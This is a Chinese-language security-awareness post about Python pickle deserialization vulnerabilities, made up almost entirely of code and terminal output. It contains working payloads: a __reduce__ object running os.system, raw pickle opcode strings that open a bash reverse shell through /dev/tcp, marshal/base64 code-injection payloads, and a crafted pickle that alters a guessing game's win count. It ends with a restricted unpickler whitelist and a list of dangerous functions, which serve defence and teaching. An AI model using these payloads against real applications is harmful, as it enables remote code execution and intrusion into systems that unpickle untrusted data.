【安全科普】Python之pickle反序列漏洞

1import pickle
2import os
3class A(object):
4    def __reduce__(self):
5        return (os.system,('id',))
6
7p = pickle.dumps(A())
8print(
)
9print(pickle.loads(p))

 1eval, execfile, compile, open, file, map, input,
 2os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
 3os.listdir, os.access,
 4os.execl, os.execle, os.execlp, os.execlpe, os.execv,
 5os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
 6os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
 7pickle.load, pickle.loads,cPickle.load,cPickle.loads,
 8subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
 9commands.getstatusoutput,commands.getoutput,commands.getstatus,
10glob.glob,
11linecache.getline,
12shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
13dircache.listdir,dircache.opendir,
14io.open,
15popen2.popen2,popen2.popen3,popen2.popen4,
16timeit.timeit,timeit.repeat,
17sys.call_tracing,
18code.interact,code.compile_command,codeop.compile_command,
19pty.spawn,
20posixfile.open,posixfile.fileopen,
21platform.popen

1daolgts@DESKTOP-4DDBUKG:~$ python
2Python 2.7.15+ (default, Nov 27 2018, 23:36:35)
3[GCC 7.3.0] on linux2
4Type "help", "copyright", "credits" or "license" for more information.
5>>> input("")
6__import__('os').system('id')
7uid=1000(daolgts) gid=1000(daolgts) groups=1000(daolgts),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(lxd),114(netdev)
80

1# 反弹shell
2a='''c__builtin__nsetattrn(c__builtin__n__import__n(S'sys'ntRS'stdin'ncStringIOnStringIOn(S'__import__('os').system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')'ntRtRc__builtin__ninputn(S'python> 'ntR.'''
3
4# 修改*****为自定义命令
5a='''c__builtin__nsetattrn(c__builtin__n__import__n(S'sys'ntRS'stdin'ncStringIOnStringIOn(S'__import__('os').system('*****')'ntRtRc__builtin__ninputn(S'python> 'ntR.'''
6
7pickle.loads(a)

 1import base64
 2import marshal
 3import pickle
 4
 5def foo():
 6    import os
 7    os.system('whoami')
 8
 9payload1="""ctypes
10FunctionType
11(cmarshal
12loads
13(cbase64
14b64decode
15(S'%s'
16tRtRc__builtin__
17globals
18(tRS''
19tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))
20
21print [payload1]
22pickle.loads(payload1)
23
24payload2="""ctypes
25FunctionType
26(cmarshal
27loads
28(S'%s'
29tRc__builtin__
30globals
31(tRS''
32tR(tR."""%marshal.dumps(foo.func_code).encode('string-escape')
33
34print [payload2]
35pickle.loads(payload2)

 1import base64
 2import marshal
 3import pickle
 4
 5def foo():
 6    import os
 7    # os.system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')
 8    os.system('whoami')
 9
10payload1="""cnew
11function
12(cmarshal
13loads
14(cbase64
15b64decode
16(S'%s'
17tRtRc__builtin__
18globals
19(tRS''
20tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))
21
22print [payload1]
23pickle.loads(payload1)
24
25
26payload2="""cnew
27function
28(cmarshal
29loads
30(S'%s'
31tRc__builtin__
32globals
33(tRS''
34tR(tR."""%marshal.dumps(foo.func_code).encode('string-escape')
35
36print [payload2]
37pickle.loads(payload2)

1payload=pickle.dumps(new.classobj('system', (), {'__getinitargs__':lambda self,arg=('id',):arg, '__module__': 'os'})())

1>>> import new
2>>> payload=pickle.dumps(new.classobj('system', (), {'__getinitargs__':lambda self,arg=('id',):arg, '__module__': 'os'})())
3>>> payload
4"(S'id'np1niosnsystemnp2n(dp3nb."
5>>> pickle.loads(payload)
6uid=1000(daolgts) gid=1000(daolgts) groups=1000(daolgts),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(lxd),114(netdev)
70

1exp = b'''cguess_game
2game
3}S"win_count"
4I10
5sS"round_count"
6I9
7sbcguess_game.TicketnTicketnqx00)x81qx01}qx02Xx06x00x00x00numberqx03Kx01sb.'''

 1import builtins
 2import io
 3import pickle
 4
 5safe_builtins = {
 6    'range',
 7    'complex',
 8    'set',
 9    'frozenset',
10    'slice',
11}
12
13class RestrictedUnpickler(pickle.Unpickler):
14
15    def find_class(self, module, name):
16        # Only allow safe classes from builtins.
17        if module == "builtins" and name in safe_builtins:
18            return getattr(builtins, name)
19        # Forbid everything else.
20        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
21                                 (module, name))
22
23def restricted_loads(s):
24    """Helper function analogous to pickle.loads()."""
25    return RestrictedUnpickler(io.BytesIO(s)).load()